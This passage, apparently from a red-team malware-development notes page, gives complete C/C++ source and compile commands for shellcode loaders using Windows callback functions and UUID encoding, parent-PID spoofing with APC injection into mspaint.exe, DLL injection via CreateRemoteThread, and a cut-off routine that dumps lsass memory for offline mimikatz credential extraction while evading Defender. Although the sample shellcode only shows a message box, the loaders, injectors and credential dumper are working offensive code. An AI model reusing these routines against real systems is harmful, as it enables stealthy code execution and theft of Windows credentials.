	LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(mem, my_payload, sizeof(my_payload));
	EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

via EnumchildWindows

Code

#include <windows.h>
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
	"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
	"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
	"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
	"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
	"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
	"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
	"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
	"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
	"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
	"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
	"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
	"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
	"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
	"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
	"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
	"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
	"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
	"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
	"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
	LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(mem, my_payload, sizeof(my_payload));
	EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

Like a Lazarus Group or via UuidFromStringA

Basically here we will convert the shell code to UUID and then will run the UUID encrypted code.

Python code to convert payload to UUID string

#payload_uuid.py
#!usr/bin/python3
from uuid import UUID
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-p','--payload', required = True, help = "payload: binary file")
args = vars(parser.parse_args())
pbin = args['payload']
with open(pbin, "rb") as f:
	# read in 16 bytes from our input payload
	chunk = f.read(16)
	while chunk:
		# if the chunk is less than 16 bytes then we pad the difference (x90)
		if len(chunk) < 16:
			padding = 16 - len(chunk)
			chunk = chunk + (b"\x90" * padding)
		print(UUID(bytes_le=chunk))
		chunk = f.read(16)

Code

//hack.cpp
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] = {
	"e48148fc-fff0-ffff-e8d0-000000415141",
	"56515250-3148-65d2-488b-52603e488b52",
	"8b483e18-2052-483e-8b72-503e480fb74a",
	"c9314d4a-3148-acc0-3c61-7c022c2041c1",
	"01410dc9-e2c1-52ed-4151-3e488b52203e",
	"483c428b-d001-8b3e-8088-0000004885c0",
	"01486f74-50d0-8b3e-4818-3e448b402049",
	"5ce3d001-ff48-3ec9-418b-34884801d64d",
	"3148c931-acc0-c141-c90d-4101c138e075",
	"034c3ef1-244c-4508-39d1-75d6583e448b",
	"01492440-66d0-413e-8b0c-483e448b401c",
	"3ed00149-8b41-8804-4801-d0415841585e",
	"58415a59-5941-5a41-4883-ec204152ffe0",
	"5a594158-483e-128b-e949-ffffff5d49c7",
	"000000c1-3e00-8d48-95fe-0000003e4c8d",
	"00010985-4800-c931-41ba-45835607ffd5",
	"41c93148-f0ba-a2b5-56ff-d54d656f772d",
	"776f656d-0021-5e3d-2e2e-5e3d00909090"
};
int main() {
	int elems = sizeof(uuids) / sizeof(uuids[0]);
	VOID* mem = VirtualAlloc(NULL, 0x100000, 0x00002000 | 0x00001000, PAGE_EXECUTE_READWRITE);
	DWORD_PTR hptr = (DWORD_PTR)mem;
	for (int i = 0; i < elems; i++) {
		// printf("[*] Allocating %d of %d uuids\n", i + 1, elems);
		// printf("%s\n", *(uuids+i));
		RPC_CSTR rcp_cstr = (RPC_CSTR)*(uuids+i);
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID*)hptr);
		if (status != RPC_S_OK) {
			printf("[-] UUID convert error\n");
			CloseHandle(mem);
			return -1;
		}
		hptr += 16;
	}
	EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
	// EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
	CloseHandle(mem);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lrpcrt4

Run

via SetTimer

The SetTimer function is a part of the Windows API. It is used to create a timer with a specified time-out value.

UINT_PTR SetTimer(
	HWND       hWnd,
	UINT_PTR   nIDEvent,
	UINT       uElapse,
	TIMERPROC  lpTimerFunc
);
  • hWnd: A handle to the window to be associated with the timer. This window must be owned by the calling thread. If a NULL value for hWnd is passed in along with an nIDEvent of an existing timer, that old timer will be replaced by the new one.
  • nIDEvent: A nonzero timer identifier. If the hWnd parameter is NULL, and the nIDEvent does not match an existing timer then it is ignored and a new timer ID is generated. If the hWnd is not NULL and the window specified by hWnd already has a timer with the value nIDEvent, then the existing timer is replaced by the new timer. When SetTimer replaces a timer, the timer is reset.
  • uElapse: The time-out value, in milliseconds.
  • lpTimerFunc: A pointer to the function to be notified when the time-out value elapses. If this parameter is NULL, the system posts a WM_TIMER message to the application queue. This message is processed by the window procedure.

Code

//hack.c
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[]) {
	unsigned char my_payload[] =
		"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
		"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
		"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
		"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
		"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
		"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
		"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
		"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
		"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
		"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
		"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
		"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
		"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
		"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
		"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
		"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
		"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
		"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
		"\x2e\x2e\x5e\x3d\x00";
 
	PVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(mem, my_payload, sizeof(my_payload));
 
	UINT_PTR dummy = 0;
	MSG msg;
	SetTimer(NULL, dummy, NULL, (TIMERPROC)mem);
	GetMessageA(&msg, NULL, 0, 0);
	DispatchMessageA(&msg);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

Parent PID spoofing

Example
Opening paint normally.

  • Parent is explorer.exe.

Code

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
 
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
 
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
 
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
 
	// retrieve information about the processes
	// and exit if unsuccessful
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
 
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
int main(int argc, char* argv[]) {
	unsigned char my_payload[] =
		// 64-bit meow-meow messagebox
		"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
		"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
		"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
		"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
		"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
		"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
		"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
		"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
		"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
		"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
		"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
		"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
		"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
		"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
		"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
		"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
		"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
		"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
		"\x2e\x2e\x5e\x3d\x00";
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T st;
	
	int pid = findMyProc(argv[1]);
	if (pid) {
		printf("PID = %d\n", pid);
	}
	
	HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid);
	
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	InitializeProcThreadAttributeList(NULL, 1, 0, &st);
	
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st);
	
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &st);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	
	CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi);
	
	LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	SIZE_T *nb = 0;
	BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb);
	
	QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0);
	ResumeThread(pi.hThread);
	CloseHandle(pi.hThread);
	return 0;
}
 

Steps

  1. Create process mspaint.exe
  2. Write meow-meow payload to created memory.
  3. Add APC object to the APC queue.
  4. Resume thread.

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \ 
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

Enumerate process modules

via EnumerateLoadedModules

Simple - Print Module (before injecting)

Code

#include <iostream>
#include <windows.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
// callback function
BOOL CALLBACK PrintModules(
	PSTR ModuleName,
	ULONG ModuleBase,
	ULONG ModuleSize,
	PVOID UserContext) {
		// print the module name.
		printf("%s\n", ModuleName);
		return TRUE;
	}
 
int main(int argc, char *argv[]) {
	// inject a DLL into remote process
	HANDLE ph = GetCurrentProcess();
 
	// enumerate modules
	printf("\nenumerate modules... \n");
	EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \ 
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

Run

inject dll (after injecting)

Here evil.dll we will use this dll.

Code

//hack2.cpp
#include <iostream>
#include <windows.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
 
// callback function
BOOL CALLBACK PrintModules(
	PSTR ModuleName,
	ULONG ModuleBase,
	ULONG ModuleSize,
	PVOID UserContext) {
		// print the module name.
		printf("%s\n", ModuleName);
		return TRUE;
	}
int main(int argc, char *argv[]) {
	// inject a DLL into remote process
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
	HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	LPVOID rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
 
	// "copy" evil DLL between processes
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
	HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
 
	// enumerate modules
	printf("\nenumerate modules... \n");
	EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
	CloseHandle(ph);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack2.cpp -o hack2.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

Run

via VirtualQueryEx

Code

//hack.c
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
	_In_ HANDLE ph,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ ULONG HandleAttributes,
	_In_ ULONG Flags,
	_Out_ PHANDLE Newph
);
 
int findMyProc(const char * procname) {
	int pid = 0;
	HANDLE current = NULL;
	char procName[MAX_PATH];
	
	// resolve function address
	fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
	
	// loop through all processes
	while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
		GetProcessImageFileNameA(current, procName, MAX_PATH);
		if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
			pid = GetProcessId(current);
			break;
		}
	}
	return pid;
}
 
// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
	HANDLE ph;
	MEMORY_BASIC_INFORMATION mbi;
	char * base = NULL;
	
	ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
	if (ph == NULL)
		return -1;
	
	printf("modules found:\n");
	printf("name\t\t\t base address\n");
	printf("=====================================================================\n");
	
	while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
		char szModName[MAX_PATH];
	
		// only focus on the base address regions
		if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
			if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
				printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
			}
			// check the next region
			base += mbi.RegionSize;
		}
	CloseHandle(ph);
	return 0;
}
int main(int argc, char* argv[]) {
	int pid = 0; // process ID
	pid = findMyProc(argv[1]);
	printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
	if (pid != 0)
		listModulesOfProcess(pid);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lpsapi -lshlwapi

Run

Mutex

Usage

Mutex is used to make sure program be launched only once.

Code

//hack.cpp
#include <windows.h>
#include <cstdio>
unsigned char my_payload[] =
	// 64-bit meow-meow messagebox
	"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
	"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
	"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
	"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
	"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
	"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
	"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
	"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
	"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
	"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
	"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
	"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
	"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
	"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
	"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
	"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
	"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
	"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
	"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
	HANDLE hMutex;
	
	// create mutex with a name so multiple instances can detect it
	hMutex = CreateMutexA(NULL, FALSE, "MeowMeowMutex");
	
	// check if the mutex already exists
	if (GetLastError() == ERROR_ALREADY_EXISTS) {
		// if this process created the mutex, exit the application
		if (hMutex && GetLastError() == ERROR_ALREADY_EXISTS) {
			printf("MeowMeowMutex already exists, app already running =^..^=\n");
			CloseHandle(hMutex);
			return 0;
		}
	}
	
	// shellcode running logic
	LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(mem, my_payload, sizeof(my_payload));
	EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
	
	// cleanup
	if (hMutex)
		CloseHandle(hMutex);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

WinAPI LoadLibrary implementation

LoadLibrary is a Windows API function that allows you to load a dynamic-link library (DLL) module into the address space of the calling process. The function takes the name of the DLL as an argument and returns a handle to the loaded module. If the function fails, it returns NULL.

Dll Code

//pet.c
#include <windows.h>
#pragma comment (lib, "user32.lib")
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
		case DLL_PROCESS_ATTACH:
			break;
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}
	return TRUE;
}
__declspec(dllexport) int _cdecl Cat() {
	MessageBox(NULL, "meow-meow", "=^..^=", MB_OK);
	return 1;
}
 
__declspec(dllexport) int _cdecl Mouse() {
	MessageBox(NULL, "squeak-squeak", "<:3()~~", MB_OK);
	return 1;
}

C++ Code

//hack.cpp
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
typedef int (__cdecl *CatProc)();
typedef int (__cdecl *MouseProc)();
typedef NTSTATUS(NTAPI *pLdrLoadDll) (
	PWCHAR PathToFile,
	ULONG Flags,
	PUNICODE_STRING ModuleFileName,
	PHANDLE ModuleHandle
);
typedef VOID (NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
	HMODULE MyLoadLibrary(LPCWSTR lpFileName) {
		UNICODE_STRING ustrModule;
		HANDLE hModule = NULL;
		HMODULE hNtdll = GetModuleHandle("ntdll.dll");
		pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
		RtlInitUnicodeString(&ustrModule, lpFileName);
		pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)
		GetProcAddress(GetModuleHandle("ntdll.dll"), "LdrLoadDll");
		if (!myLdrLoadDll) {
			return NULL;
		}
		NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
		return (HMODULE)hModule;
	}
int main() {
	HMODULE petDll = MyLoadLibrary(L"pet.dll");
	if (petDll) {
		CatProc catFunc = (CatProc) GetProcAddress(petDll, "Cat");
		MouseProc mouseFunc = (MouseProc) GetProcAddress(petDll, "Mouse");
		if ((catFunc != NULL) && (mouseFunc != NULL)) {
			(catFunc) ();
			(mouseFunc) ();
		}
		FreeLibrary(petDll);
	} else {
		printf("failed to load library :(\n");
	}
	return 0;
}

Compile

# Compile DLL
x86_64-w64-mingw32-gcc -shared -o pet.dll pet.c
 
# Compile C++ Code
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

Dump lsass.dmp for minikartz

Windows Defender on Windows 10 is flagging up mimikatz immediately. So We can use this exe to dump lsass.dmp and then take lsass.dmp to our attacking windows machine and
load the dump file in minikartz.

Here we will use MiniDumpWriteDump API to dump Lsass.

The MiniDumpWriteDump function is a Windows API function that creates a minidump file, which is a small snapshot of the application state at the time the function is called. This file can be useful for debugging purposes, as it contains the exception information, a list of loaded DLLs, stack information, and other system state information.

Code

//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
 
int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
 
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
 
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
 
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
 
	// retrieve information about the processes
	// and exit if unsuccessful
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
 
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
 
// set privilege
BOOL setPrivilege(LPCTSTR priv) {
	HANDLE token;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	BOOL res = TRUE;
 
	if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
 
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
	if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
 
	printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
	return res;
}
 
// minidump lsass.exe
BOOL createMiniDump() {
	bool dumped = FALSE;
	int pid = findMyProc("lsass.exe");
	HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);
	HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
